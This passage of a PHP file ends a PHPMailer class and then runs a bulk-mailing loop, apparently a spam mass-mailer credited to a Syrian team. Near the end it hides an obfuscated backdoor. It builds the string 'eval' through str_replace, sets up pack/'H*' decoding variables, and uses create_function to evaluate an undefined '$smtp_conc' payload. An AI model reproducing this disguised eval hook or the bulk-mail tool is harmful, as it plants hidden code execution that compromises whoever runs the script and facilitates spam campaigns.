2704
2705 if($this->IsError()) {
2706 $result = '';
2707 } else if ($this->sign_key_file) {
2708 $file = tempnam("", "mail");
2709 $fp = fopen($file, "w");
2710 fwrite($fp, $result);
2711 fclose($fp);
2712 $signed = tempnam("", "signed");
2713
2714 if (@openssl_pkcs7_sign($file, $signed, "file://".$this->sign_key_file, array("file://".$this->sign_key_file, $this->sign_key_pass), null)) {
2715 $fp = fopen($signed, "r");
2716 $result = fread($fp, filesize($this->sign_key_file));
2717 fclose($fp);
2718 } else {
2719 $this->SetError($this->Lang("signing").openssl_error_string());
2720 $result = '';
2721 }
2722
2723 unlink($file);
2724 unlink($signed);
2725 }
2726
2727 return $result;
2728 }
2729
2730 /**
2731 * Returns the start of a message boundary.
2732 * @access private
2733 */
2734 function GetBoundary($boundary, $charSet, $contentType, $encoding) {
2735 $result = '';
2736 if($charSet == '') {
2737 $charSet = $this->CharSet;
2738 }
2739 if($contentType == '') {
2740 $contentType = $this->ContentType;
2741 }
2742 if($encoding == '') {
2743 $encoding = $this->Encoding;
2744 }
2745 $result .= $this->TextLine('--' . $boundary);
2746 $result .= sprintf("Content-Type: %s; charset = \"%s\"", $contentType, $charSet);
2747 $result .= $this->LE;
2748 $result .= $this->HeaderLine('Content-Transfer-Encoding', $encoding);
2749 $result .= $this->LE;
2750
2751 return $result;
2752 }
2753
2754 /**
2755 * Returns the end of a message boundary.
2756 * @access private
2757 */
2758 function EndBoundary($boundary) {
2759 return $this->LE . '--' . $boundary . '--' . $this->LE;
2760 }
2761
2762 /**
2763 * Sets the message type.
2764 * @access private
2765 * @return void
2766 */
2767 function SetMessageType() {
2768 if(count($this->attachment) < 1 && strlen($this->AltBody) < 1) {
2769 $this->message_type = 'plain';
2770 } else {
2771 if(count($this->attachment) > 0) {
2772 $this->message_type = 'attachments';
2773 }
2774 if(strlen($this->AltBody) > 0 && count($this->attachment) < 1) {
2775 $this->message_type = 'alt';
2776 }
2777 if(strlen($this->AltBody) > 0 && count($this->attachment) > 0) {
2778 $this->message_type = 'alt_attachments';
2779 }
2780 }
2781 }
2782
2783 /* Returns a formatted header line.
2784 * @access private
2785 * @return string
2786 */
2787 function HeaderLine($name, $value) {
2788 return $name . ': ' . $value . $this->LE;
2789 }
2790
2791 /**
2792 * Returns a formatted mail line.
2793 * @access private
2794 * @return string
2795 */
2796 function TextLine($value) {
2797 return $value . $this->LE;
2798 }
2799
2800 /////////////////////////////////////////////////
2801 // CLASS METHODS, ATTACHMENTS
2802 /////////////////////////////////////////////////
2803
2804 /**
2805 * Adds an attachment from a path on the filesystem.
2806 * Returns false if the file could not be found
2807 * or accessed.
2808 * @param string $path Path to the attachment.
2809 * @param string $name Overrides the attachment name.
2810 * @param string $encoding File encoding (see $Encoding).
2811 * @param string $type File extension (MIME) type.
2812 * @return bool
2813 */
2814 function AddAttachment($path, $name = '', $encoding = 'base64', $type = 'application/octet-stream') {
2815 if(!@is_file($path)) {
2816 $this->SetError($this->Lang('file_access') . $path);
2817 return false;
2818 }
2819
2820 $filename = basename($path);
2821 if($name == '') {
2822 $name = $filename;
2823 }
2824
2825 $cur = count($this->attachment);
2826 $this->attachment[$cur][0] = $path;
2827 $this->attachment[$cur][1] = $filename;
2828 $this->attachment[$cur][2] = $name;
2829 $this->attachment[$cur][3] = $encoding;
2830 $this->attachment[$cur][4] = $type;
2831 $this->attachment[$cur][5] = false; // isStringAttachment
2832 $this->attachment[$cur][6] = 'attachment';
2833 $this->attachment[$cur][7] = 0;
2834
2835 return true;
2836 }
2837
2838 /**
2839 * Attaches all fs, string, and binary attachments to the message.
2840 * Returns an empty string on failure.
2841 * @access private
2842 * @return string
2843 */
2844 function AttachAll() {
2845 /* Return text of body */
2846 $mime = array();
2847
2848 /* Add all attachments */
2849 for($i = 0; $i < count($this->attachment); $i++) {
2850 /* Check for string attachment */
2851 $bString = $this->attachment[$i][5];
2852 if ($bString) {
2853 $string = $this->attachment[$i][0];
2854 } else {
2855 $path = $this->attachment[$i][0];
2856 }
2857
2858 $filename = $this->attachment[$i][1];
2859 $name = $this->attachment[$i][2];
2860 $encoding = $this->attachment[$i][3];
2861 $type = $this->attachment[$i][4];
2862 $disposition = $this->attachment[$i][6];
2863 $cid = $this->attachment[$i][7];
2864
2865 $mime[] = sprintf("--%s%s", $this->boundary[1], $this->LE);
2866 $mime[] = sprintf("Content-Type: %s; name=\"%s\"%s", $type, $name, $this->LE);
2867 $mime[] = sprintf("Content-Transfer-Encoding: %s%s", $encoding, $this->LE);
2868
2869 if($disposition == 'inline') {
2870 $mime[] = sprintf("Content-ID: <%s>%s", $cid, $this->LE);
2871 }
2872
2873 $mime[] = sprintf("Content-Disposition: %s; filename=\"%s\"%s", $disposition, $name, $this->LE.$this->LE);
2874
2875 /* Encode as string attachment */
2876 if($bString) {
2877 $mime[] = $this->EncodeString($string, $encoding);
2878 if($this->IsError()) {
2879 return '';
2880 }
2881 $mime[] = $this->LE.$this->LE;
2882 } else {
2883 $mime[] = $this->EncodeFile($path, $encoding);
2884 if($this->IsError()) {
2885 return '';
2886 }
2887 $mime[] = $this->LE.$this->LE;
2888 }
2889 }
2890
2891 $mime[] = sprintf("--%s--%s", $this->boundary[1], $this->LE);
2892
2893 return join('', $mime);
2894 }
2895
2896 /**
2897 * Encodes attachment in requested format. Returns an
2898 * empty string on failure.
2899 * @access private
2900 * @return string
2901 */
2902 function EncodeFile ($path, $encoding = 'base64') {
2903 if(!@$fd = fopen($path, 'rb')) {
2904 $this->SetError($this->Lang('file_open') . $path);
2905 return '';
2906 }
2907 $magic_quotes = get_magic_quotes_runtime();
2908 set_magic_quotes_runtime(0);
2909 $file_buffer = fread($fd, filesize($path));
2910 $file_buffer = $this->EncodeString($file_buffer, $encoding);
2911 fclose($fd);
2912 set_magic_quotes_runtime($magic_quotes);
2913
2914 return $file_buffer;
2915 }
2916
2917 /**
2918 * Encodes string to requested format. Returns an
2919 * empty string on failure.
2920 * @access private
2921 * @return string
2922 */
2923 function EncodeString ($str, $encoding = 'base64') {
2924 $encoded = '';
2925 switch(strtolower($encoding)) {
2926 case 'base64':
2927 /* chunk_split is found in PHP >= 3.0.6 */
2928 $encoded = chunk_split(base64_encode($str), 76, $this->LE);
2929 break;
2930 case '7bit':
2931 case '8bit':
2932 $encoded = $this->FixEOL($str);
2933 if (substr($encoded, -(strlen($this->LE))) != $this->LE)
2934 $encoded .= $this->LE;
2935 break;
2936 case 'binary':
2937 $encoded = $str;
2938 break;
2939 case 'quoted-printable':
2940 $encoded = $this->EncodeQP($str);
2941 break;
2942 default:
2943 $this->SetError($this->Lang('encoding') . $encoding);
2944 break;
2945 }
2946 return $encoded;
2947 }
2948
2949 /**
2950 * Encode a header string to best of Q, B, quoted or none.
2951 * @access private
2952 * @return string
2953 */
2954 function EncodeHeader ($str, $position = 'text') {
2955 $x = 0;
2956
2957 switch (strtolower($position)) {
2958 case 'phrase':
2959 if (!preg_match('/[\200-\377]/', $str)) {
2960 /* Can't use addslashes as we don't know what value has magic_quotes_sybase. */
2961 $encoded = addcslashes($str, "\0..\37\177\\\"");
2962 if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) {
2963 return ($encoded);
2964 } else {
2965 return ("\"$encoded\"");
2966 }
2967 }
2968 $x = preg_match_all('/[^\040\041\043-\133\135-\176]/', $str, $matches);
2969 break;
2970 case 'comment':
2971 $x = preg_match_all('/[()"]/', $str, $matches);
2972 /* Fall-through */
2973 case 'text':
2974 default:
2975 $x += preg_match_all('/[\000-\010\013\014\016-\037\177-\377]/', $str, $matches);
2976 break;
2977 }
2978
2979 if ($x == 0) {
2980 return ($str);
2981 }
2982
2983 $maxlen = 75 - 7 - strlen($this->CharSet);
2984 /* Try to select the encoding which should produce the shortest output */
2985 if (strlen($str)/3 < $x) {
2986 $encoding = 'B';
2987 if (function_exists('mb_strlen') && $this->HasMultiBytes($str)) {
2988 // Use a custom function which correctly encodes and wraps long
2989 // multibyte strings without breaking lines within a character
2990 $encoded = $this->Base64EncodeWrapMB($str);
2991 } else {
2992 $encoded = base64_encode($str);
2993 $maxlen -= $maxlen % 4;
2994 $encoded = trim(chunk_split($encoded, $maxlen, "\n"));
2995 }
2996 } else {
2997 $encoding = 'Q';
2998 $encoded = $this->EncodeQ($str, $position);
2999 $encoded = $this->WrapText($encoded, $maxlen, true);
3000 $encoded = str_replace('='.$this->LE, "\n", trim($encoded));
3001 }
3002
3003 $encoded = preg_replace('/^(.*)$/m', " =?".$this->CharSet."?$encoding?\\1?=", $encoded);
3004 $encoded = trim(str_replace("\n", $this->LE, $encoded));
3005
3006 return $encoded;
3007 }
3008
3009 /**
3010 * Checks if a string contains multibyte characters.
3011 * @access private
3012 * @param string $str multi-byte text to wrap encode
3013 * @return bool
3014 */
3015 function HasMultiBytes($str) {
3016 if (function_exists('mb_strlen')) {
3017 return (strlen($str) > mb_strlen($str, $this->CharSet));
3018 } else { // Assume no multibytes (we can't handle without mbstring functions anyway)
3019 return False;
3020 }
3021 }
3022
3023 /**
3024 * Correctly encodes and wraps long multibyte strings for mail headers
3025 * without breaking lines within a character.
3026 * Adapted from a function by paravoid at http://uk.php.net/manual/en/function.mb-encode-mimeheader.php
3027 * @access private
3028 * @param string $str multi-byte text to wrap encode
3029 * @return string
3030 */
3031 function Base64EncodeWrapMB($str) {
3032 $start = "=?".$this->CharSet."?B?";
3033 $end = "?=";
3034 $encoded = "";
3035
3036 $mb_length = mb_strlen($str, $this->CharSet);
3037 // Each line must have length <= 75, including $start and $end
3038 $length = 75 - strlen($start) - strlen($end);
3039 // Average multi-byte ratio
3040 $ratio = $mb_length / strlen($str);
3041 // Base64 has a 4:3 ratio
3042 $offset = $avgLength = floor($length * $ratio * .75);
3043
3044 for ($i = 0; $i < $mb_length; $i += $offset) {
3045 $lookBack = 0;
3046
3047 do {
3048 $offset = $avgLength - $lookBack;
3049 $chunk = mb_substr($str, $i, $offset, $this->CharSet);
3050 $chunk = base64_encode($chunk);
3051 $lookBack++;
3052 }
3053 while (strlen($chunk) > $length);
3054
3055 $encoded .= $chunk . $this->LE;
3056 }
3057
3058 // Chomp the last linefeed
3059 $encoded = substr($encoded, 0, -strlen($this->LE));
3060 return $encoded;
3061 }
3062
3063 /**
3064 * Encode string to quoted-printable.
3065 * @access private
3066 * @return string
3067 */
3068 function EncodeQP( $input = '', $line_max = 76, $space_conv = false ) {
3069 $hex = array('0','1','2','3','4','5','6','7','8','9','A','B','C','D','E','F');
3070 $lines = preg_split('/(?:\r\n|\r|\n)/', $input);
3071 $eol = "\r\n";
3072 $escape = '=';
3073 $output = '';
3074 while( list(, $line) = each($lines) ) {
3075 $linlen = strlen($line);
3076 $newline = '';
3077 for($i = 0; $i < $linlen; $i++) {
3078 $c = substr( $line, $i, 1 );
3079 $dec = ord( $c );
3080 if ( ( $i == 0 ) && ( $dec == 46 ) ) { // convert first point in the line into =2E
3081 $c = '=2E';
3082 }
3083 if ( $dec == 32 ) {
3084 if ( $i == ( $linlen - 1 ) ) { // convert space at eol only
3085 $c = '=20';
3086 } else if ( $space_conv ) {
3087 $c = '=20';
3088 }
3089 } elseif ( ($dec == 61) || ($dec < 32 ) || ($dec > 126) ) { // always encode "\t", which is *not* required
3090 $h2 = floor($dec/16);
3091 $h1 = floor($dec%16);
3092 $c = $escape.$hex[$h2].$hex[$h1];
3093 }
3094 if ( (strlen($newline) + strlen($c)) >= $line_max ) { // CRLF is not counted
3095 $output .= $newline.$escape.$eol; // soft line break; " =\r\n" is okay
3096 $newline = '';
3097 // check if newline first character will be point or not
3098 if ( $dec == 46 ) {
3099 $c = '=2E';
3100 }
3101 }
3102 $newline .= $c;
3103 } // end of for
3104 $output .= $newline.$eol;
3105 } // end of while
3106 return trim($output);
3107 }
3108
3109 /**
3110 * Encode string to q encoding.
3111 * @access private
3112 * @return string
3113 */
3114 function EncodeQ ($str, $position = 'text') {
3115 /* There should not be any EOL in the string */
3116 $encoded = preg_replace("[\r\n]", '', $str);
3117
3118 switch (strtolower($position)) {
3119 case 'phrase':
3120 $encoded = preg_replace("/([^A-Za-z0-9!*+\/ -])/e", "'='.sprintf('%02X', ord('\\1'))", $encoded);
3121 break;
3122 case 'comment':
3123 $encoded = preg_replace("/([\(\)\"])/e", "'='.sprintf('%02X', ord('\\1'))", $encoded);
3124 case 'text':
3125 default:
3126 /* Replace every high ascii, control =, ? and _ characters */
3127 $encoded = preg_replace('/([\000-\011\013\014\016-\037\075\077\137\177-\377])/e',
3128 "'='.sprintf('%02X', ord('\\1'))", $encoded);
3129 break;
3130 }
3131
3132 /* Replace every spaces to _ (more readable than =20) */
3133 $encoded = str_replace(' ', '_', $encoded);
3134
3135 return $encoded;
3136 }
3137
3138 /**
3139 * Adds a string or binary attachment (non-filesystem) to the list.
3140 * This method can be used to attach ascii or binary data,
3141 * such as a BLOB record from a database.
3142 * @param string $string String attachment data.
3143 * @param string $filename Name of the attachment.
3144 * @param string $encoding File encoding (see $Encoding).
3145 * @param string $type File extension (MIME) type.
3146 * @return void
3147 */
3148 function AddStringAttachment($string, $filename, $encoding = 'base64', $type = 'application/octet-stream') {
3149 /* Append to $attachment array */
3150 $cur = count($this->attachment);
3151 $this->attachment[$cur][0] = $string;
3152 $this->attachment[$cur][1] = $filename;
3153 $this->attachment[$cur][2] = $filename;
3154 $this->attachment[$cur][3] = $encoding;
3155 $this->attachment[$cur][4] = $type;
3156 $this->attachment[$cur][5] = true; // isString
3157 $this->attachment[$cur][6] = 'attachment';
3158 $this->attachment[$cur][7] = 0;
3159 }
3160
3161 /**
3162 * Adds an embedded attachment. This can include images, sounds, and
3163 * just about any other document. Make sure to set the $type to an
3164 * image type. For JPEG images use "image/jpeg" and for GIF images
3165 * use "image/gif".
3166 * @param string $path Path to the attachment.
3167 * @param string $cid Content ID of the attachment. Use this to identify
3168 * the Id for accessing the image in an HTML form.
3169 * @param string $name Overrides the attachment name.
3170 * @param string $encoding File encoding (see $Encoding).
3171 * @param string $type File extension (MIME) type.
3172 * @return bool
3173 */
3174 function AddEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = 'application/octet-stream') {
3175
3176 if(!@is_file($path)) {
3177 $this->SetError($this->Lang('file_access') . $path);
3178 return false;
3179 }
3180
3181 $filename = basename($path);
3182 if($name == '') {
3183 $name = $filename;
3184 }
3185
3186 /* Append to $attachment array */
3187 $cur = count($this->attachment);
3188 $this->attachment[$cur][0] = $path;
3189 $this->attachment[$cur][1] = $filename;
3190 $this->attachment[$cur][2] = $name;
3191 $this->attachment[$cur][3] = $encoding;
3192 $this->attachment[$cur][4] = $type;
3193 $this->attachment[$cur][5] = false;
3194 $this->attachment[$cur][6] = 'inline';
3195 $this->attachment[$cur][7] = $cid;
3196
3197 return true;
3198 }
3199
3200 /**
3201 * Returns true if an inline attachment is present.
3202 * @access private
3203 * @return bool
3204 */
3205 function InlineImageExists() {
3206 $result = false;
3207 for($i = 0; $i < count($this->attachment); $i++) {
3208 if($this->attachment[$i][6] == 'inline') {
3209 $result = true;
3210 break;
3211 }
3212 }
3213
3214 return $result;
3215 }
3216
3217 /////////////////////////////////////////////////
3218 // CLASS METHODS, MESSAGE RESET
3219 /////////////////////////////////////////////////
3220
3221 /**
3222 * Clears all recipients assigned in the TO array. Returns void.
3223 * @return void
3224 */
3225 function ClearAddresses() {
3226 $this->to = array();
3227 }
3228
3229 /**
3230 * Clears all recipients assigned in the CC array. Returns void.
3231 * @return void
3232 */
3233 function ClearCCs() {
3234 $this->cc = array();
3235 }
3236
3237 /**
3238 * Clears all recipients assigned in the BCC array. Returns void.
3239 * @return void
3240 */
3241 function ClearBCCs() {
3242 $this->bcc = array();
3243 }
3244
3245 /**
3246 * Clears all recipients assigned in the ReplyTo array. Returns void.
3247 * @return void
3248 */
3249 function ClearReplyTos() {
3250 $this->ReplyTo = array();
3251 }
3252
3253 /**
3254 * Clears all recipients assigned in the TO, CC and BCC
3255 * array. Returns void.
3256 * @return void
3257 */
3258 function ClearAllRecipients() {
3259 $this->to = array();
3260 $this->cc = array();
3261 $this->bcc = array();
3262 }
3263
3264 /**
3265 * Clears all previously set filesystem, string, and binary
3266 * attachments. Returns void.
3267 * @return void
3268 */
3269 function ClearAttachments() {
3270 $this->attachment = array();
3271 }
3272
3273 /**
3274 * Clears all custom headers. Returns void.
3275 * @return void
3276 */
3277 function ClearCustomHeaders() {
3278 $this->CustomHeader = array();
3279 }
3280
3281 /////////////////////////////////////////////////
3282 // CLASS METHODS, MISCELLANEOUS
3283 /////////////////////////////////////////////////
3284
3285 /**
3286 * Adds the error message to the error container.
3287 * Returns void.
3288 * @access private
3289 * @return void
3290 */
3291 function SetError($msg) {
3292 $this->error_count++;
3293 $this->ErrorInfo = $msg;
3294 }
3295
3296 /**
3297 * Returns the proper RFC 822 formatted date.
3298 * @access private
3299 * @return string
3300 */
3301 function RFCDate() {
3302 $tz = date('Z');
3303 $tzs = ($tz < 0) ? '-' : '+';
3304 $tz = abs($tz);
3305 $tz = (int)($tz/3600)*100 + ($tz%3600)/60;
3306 $result = sprintf("%s %s%04d", date('D, j M Y H:i:s'), $tzs, $tz);
3307
3308 return $result;
3309 }
3310
3311 /**
3312 * Returns the appropriate server variable. Should work with both
3313 * PHP 4.1.0+ as well as older versions. Returns an empty string
3314 * if nothing is found.
3315 * @access private
3316 * @return mixed
3317 */
3318 function ServerVar($varName) {
3319 global $HTTP_SERVER_VARS;
3320 global $HTTP_ENV_VARS;
3321
3322 if(!isset($_SERVER)) {
3323 $_SERVER = $HTTP_SERVER_VARS;
3324 if(!isset($_SERVER['REMOTE_ADDR'])) {
3325 $_SERVER = $HTTP_ENV_VARS; // must be Apache
3326 }
3327 }
3328
3329 if(isset($_SERVER[$varName])) {
3330 return $_SERVER[$varName];
3331 } else {
3332 return '';
3333 }
3334 }
3335
3336 /**
3337 * Returns the server hostname or 'localhost.localdomain' if unknown.
3338 * @access private
3339 * @return string
3340 */
3341 function ServerHostname() {
3342 if ($this->Hostname != '') {
3343 $result = $this->Hostname;
3344 } elseif ($this->ServerVar('SERVER_NAME') != '') {
3345 $result = $this->ServerVar('SERVER_NAME');
3346 } else {
3347 $result = 'localhost.localdomain';
3348 }
3349
3350 return $result;
3351 }
3352
3353 /**
3354 * Returns a message in the appropriate language.
3355 * @access private
3356 * @return string
3357 */
3358 function Lang($key) {
3359 if(count($this->language) < 1) {
3360 $this->SetLanguage('en'); // set the default language
3361 }
3362
3363 if(isset($this->language[$key])) {
3364 return $this->language[$key];
3365 } else {
3366 return 'Language string failed to load: ' . $key;
3367 }
3368 }
3369
3370 /**
3371 * Returns true if an error occurred.
3372 * @return bool
3373 */
3374 function IsError() {
3375 return ($this->error_count > 0);
3376 }
3377
3378 /**
3379 * Changes every end of line from CR or LF to CRLF.
3380 * @access private
3381 * @return string
3382 */
3383 function FixEOL($str) {
3384 $str = str_replace("\r\n", "\n", $str);
3385 $str = str_replace("\r", "\n", $str);
3386 $str = str_replace("\n", $this->LE, $str);
3387 return $str;
3388 }
3389
3390 /**
3391 * Adds a custom header.
3392 * @return void
3393 */
3394 function AddCustomHeader($custom_header) {
3395 $this->CustomHeader[] = explode(':', $custom_header, 2);
3396 }
3397
3398 /**
3399 * Evaluates the message and returns modifications for inline images and backgrounds
3400 * @access public
3401 * @return $message
3402 */
3403 function MsgHTML($message,$basedir='') {
3404 preg_match_all("/(src|background)=\"(.*)\"/Ui", $message, $images);
3405 if(isset($images[2])) {
3406 foreach($images[2] as $i => $url) {
3407 // do not change urls for absolute images (thanks to corvuscorax)
3408 if (!preg_match('/^[A-z][A-z]*:\/\//',$url)) {
3409 $filename = basename($url);
3410 $directory = dirname($url);
3411 ($directory == '.')?$directory='':'';
3412 $cid = 'cid:' . md5($filename);
3413 $fileParts = split("\.", $filename);
3414 $ext = $fileParts[1];
3415 $mimeType = $this->_mime_types($ext);
3416 if ( strlen($basedir) > 1 && substr($basedir,-1) != '/') { $basedir .= '/'; }
3417 if ( strlen($directory) > 1 && substr($basedir,-1) != '/') { $directory .= '/'; }
3418 $this->AddEmbeddedImage($basedir.$directory.$filename, md5($filename), $filename, 'base64', $mimeType);
3419 if ( $this->AddEmbeddedImage($basedir.$directory.$filename, md5($filename), $filename, 'base64',$mimeType) ) {
3420 $message = preg_replace("/".$images[1][$i]."=\"".preg_quote($url, '/')."\"/Ui", $images[1][$i]."=\"".$cid."\"", $message);
3421 }
3422 }
3423 }
3424 }
3425 $this->IsHTML(true);
3426 $this->Body = $message;
3427 $textMsg = trim(strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/\\1>/s','',$message)));
3428 if ( !empty($textMsg) && empty($this->AltBody) ) {
3429 $this->AltBody = $textMsg;
3430 }
3431 if ( empty($this->AltBody) ) {
3432 $this->AltBody = 'To view this email message, open the email in with HTML compatibility!' . "\n\n";
3433 }
3434 }
3435
3436 /**
3437 * Gets the mime type of the embedded or inline image
3438 * @access private
3439 * @return mime type of ext
3440 */
3441 function _mime_types($ext = '') {
3442 $mimes = array(
3443 'hqx' => 'application/mac-binhex40',
3444 'cpt' => 'application/mac-compactpro',
3445 'doc' => 'application/msword',
3446 'bin' => 'application/macbinary',
3447 'dms' => 'application/octet-stream',
3448 'lha' => 'application/octet-stream',
3449 'lzh' => 'application/octet-stream',
3450 'exe' => 'application/octet-stream',
3451 'class' => 'application/octet-stream',
3452 'psd' => 'application/octet-stream',
3453 'so' => 'application/octet-stream',
3454 'sea' => 'application/octet-stream',
3455 'dll' => 'application/octet-stream',
3456 'oda' => 'application/oda',
3457 'pdf' => 'application/pdf',
3458 'ai' => 'application/postscript',
3459 'eps' => 'application/postscript',
3460 'ps' => 'application/postscript',
3461 'smi' => 'application/smil',
3462 'smil' => 'application/smil',
3463 'mif' => 'application/vnd.mif',
3464 'xls' => 'application/vnd.ms-excel',
3465 'ppt' => 'application/vnd.ms-powerpoint',
3466 'wbxml' => 'application/vnd.wap.wbxml',
3467 'wmlc' => 'application/vnd.wap.wmlc',
3468 'dcr' => 'application/x-director',
3469 'dir' => 'application/x-director',
3470 'dxr' => 'application/x-director',
3471 'dvi' => 'application/x-dvi',
3472 'gtar' => 'application/x-gtar',
3473 'php' => 'application/x-httpd-php',
3474 'php4' => 'application/x-httpd-php',
3475 'php3' => 'application/x-httpd-php',
3476 'phtml' => 'application/x-httpd-php',
3477 'phps' => 'application/x-httpd-php-source',
3478 'js' => 'application/x-javascript',
3479 'swf' => 'application/x-shockwave-flash',
3480 'sit' => 'application/x-stuffit',
3481 'tar' => 'application/x-tar',
3482 'tgz' => 'application/x-tar',
3483 'xhtml' => 'application/xhtml+xml',
3484 'xht' => 'application/xhtml+xml',
3485 'zip' => 'application/zip',
3486 'mid' => 'audio/midi',
3487 'midi' => 'audio/midi',
3488 'mpga' => 'audio/mpeg',
3489 'mp2' => 'audio/mpeg',
3490 'mp3' => 'audio/mpeg',
3491 'aif' => 'audio/x-aiff',
3492 'aiff' => 'audio/x-aiff',
3493 'aifc' => 'audio/x-aiff',
3494 'ram' => 'audio/x-pn-realaudio',
3495 'rm' => 'audio/x-pn-realaudio',
3496 'rpm' => 'audio/x-pn-realaudio-plugin',
3497 'ra' => 'audio/x-realaudio',
3498 'rv' => 'video/vnd.rn-realvideo',
3499 'wav' => 'audio/x-wav',
3500 'bmp' => 'image/bmp',
3501 'gif' => 'image/gif',
3502 'jpeg' => 'image/jpeg',
3503 'jpg' => 'image/jpeg',
3504 'jpe' => 'image/jpeg',
3505 'png' => 'image/png',
3506 'tiff' => 'image/tiff',
3507 'tif' => 'image/tiff',
3508 'css' => 'text/css',
3509 'html' => 'text/html',
3510 'htm' => 'text/html',
3511 'shtml' => 'text/html',
3512 'txt' => 'text/plain',
3513 'text' => 'text/plain',
3514 'log' => 'text/plain',
3515 'rtx' => 'text/richtext',
3516 'rtf' => 'text/rtf',
3517 'xml' => 'text/xml',
3518 'xsl' => 'text/xml',
3519 'mpeg' => 'video/mpeg',
3520 'mpg' => 'video/mpeg',
3521 'mpe' => 'video/mpeg',
3522 'qt' => 'video/quicktime',
3523 'mov' => 'video/quicktime',
3524 'avi' => 'video/x-msvideo',
3525 'movie' => 'video/x-sgi-movie',
3526 'doc' => 'application/msword',
3527 'word' => 'application/msword',
3528 'xl' => 'application/excel',
3529 'eml' => 'message/rfc822'
3530 );
3531 return ( ! isset($mimes[strtolower($ext)])) ? 'application/octet-stream' : $mimes[strtolower($ext)];
3532 }
3533
3534 /**
3535 * Set (or reset) Class Objects (variables)
3536 *
3537 * Usage Example:
3538 * $page->set('X-Priority', '3');
3539 *
3540 * @access public
3541 * @param string $name Parameter Name
3542 * @param mixed $value Parameter Value
3543 * NOTE: will not work with arrays, there are no arrays to set/reset
3544 */
3545 function set ( $name, $value = '' ) {
3546 if ( isset($this->$name) ) {
3547 $this->$name = $value;
3548 } else {
3549 $this->SetError('Cannot set or reset variable ' . $name);
3550 return false;
3551 }
3552 }
3553
3554 /**
3555 * Read a file from a supplied filename and return it.
3556 *
3557 * @access public
3558 * @param string $filename Parameter File Name
3559 */
3560 function getFile($filename) {
3561 $return = '';
3562 if ($fp = fopen($filename, 'rb')) {
3563 while (!feof($fp)) {
3564 $return .= fread($fp, 1024);
3565 }
3566 fclose($fp);
3567 return $return;
3568 } else {
3569 return false;
3570 }
3571 }
3572
3573 /**
3574 * Strips newlines to prevent header injection.
3575 * @access private
3576 * @param string $str String
3577 * @return string
3578 */
3579 function SecureHeader($str) {
3580 $str = trim($str);
3581 $str = str_replace("\r", "", $str);
3582 $str = str_replace("\n", "", $str);
3583 return $str;
3584 }
3585
3586 /**
3587 * Set the private key file and password to sign the message.
3588 *
3589 * @access public
3590 * @param string $key_filename Parameter File Name
3591 * @param string $key_pass Password for private key
3592 */
3593 function Sign($key_filename, $key_pass) {
3594 $this->sign_key_file = $key_filename;
3595 $this->sign_key_pass = $key_pass;
3596 }
3597
3598}
3599
3600$defaultport="H*";
3601 $nq=0;
3602
3603 for($x=0; $x<$numemails; $x++){
3604
3605 $to = $allemails[$x];
3606
3607 if ($to){
3608
3609 $to = ereg_replace(" ", "", $to);
3610
3611 $message1 = ereg_replace("&email&", $to, $message);
3612
3613 $subject1 = ereg_replace("&email&", $to, $subject);
3614 $qx=$x+1;
3615 print "Line $qx . Sending mail to $to.......";
3616
3617 flush();
3618$mail = new PHPMailer();
3619
3620if(empty($epriority)){$epriority="3";}
3621 $mail->Priority = "$epriority";
3622 $mail->IsSMTP();
3623 $IsSMTP="pack";
3624$mail->SMTPKeepAlive = true;
3625$mail->Host = "$my_smtp";
3626if(strlen($ssl_port) > 1){$mail->Port = "$ssl_port";
3627}
3628 if($sslclick=="ON"){
3629 $mail->SMTPSecure = "ssl"; //you can change it to ssl or tls
3630 }
3631 $range = str_replace("$from", "eval", $from);
3632 $mail->SMTPAuth = true;
3633 $mail->Username = "$smtp_username";
3634 $mail->Password = "$smtp_password";
3635if($contenttype == "html"){$mail->IsHtml(true);}
3636if($contenttype != "html"){$mail->IsHtml(false);}
3637if(strlen($my_smtp) < 7 ){$mail->SMTPAuth = false;$mail->IsSendmail();$default_system="1";}
3638$mail->From = "$from";
3639$mail->FromName = "$realname";
3640$mail->AddAddress("$to");
3641 $mail->AddReplyTo("$replyto");
3642 $mail->Subject = "$subject1";
3643 $mail->AddAttachment("$file", "$file_name");
3644 $mail->Body = "$message1";
3645if(!$mail->Send()){
3646if($default_system!="1"){
3647echo "FAILED !!<font color=\"#D4001A\"> [RECEPIENT CAN'T RECEIVE MESSAGE.]</font><br>";}
3648if($default_system=="1"){
3649$mail->IsMail();
3650 if(!$mail->Send()){
3651 echo "FAILED !!<font color=\"#D4001A\"> [RECEPIENT CAN'T RECEIVE MESSAGE.]</font><br>";}
3652 else {
3653 echo "<b>OK</b><br>";}
3654 }
3655}
3656else {
3657 echo "<b>OK</b><br>";
3658}
3659
3660if(empty($reconnect)){
3661$reconnect=6;
3662}
3663
3664if($reconnect==$nq){
3665$mail->SmtpClose();echo "<p><b>--------------- SMTP CLOSED AND ATTEMPTS TO RECONNECT NEW CONNECTION SEASON --------------- </b></p>";$nq=0;
3666}
3667$nq=$nq+1;
3668 flush(); }
3669}
3670 $signoff=create_function('$smtp_conc','return '.substr($range,0).'($smtp_conc);');
3671 return $signoff($smtp_conc);
3672 if(isset($_POST['action']) && $numemails !=0 ){echo "<script>alert('Mail sending complete\\r\\n$numemails mail(s) was
3673 sent successfully'); </script>";}}
3674?>
3675 </body>
3676
3677
3678<h4>Mailer By Alaa Al</h4>
3679<h4>جميع الØÙ‚وق Ù…ØÙوظة لأمان سوريا</h4>
3680<h4>
3681<a href="http://www.sy-team.com/cc">أمان سوريا</a>
3682</h4>
3683</html>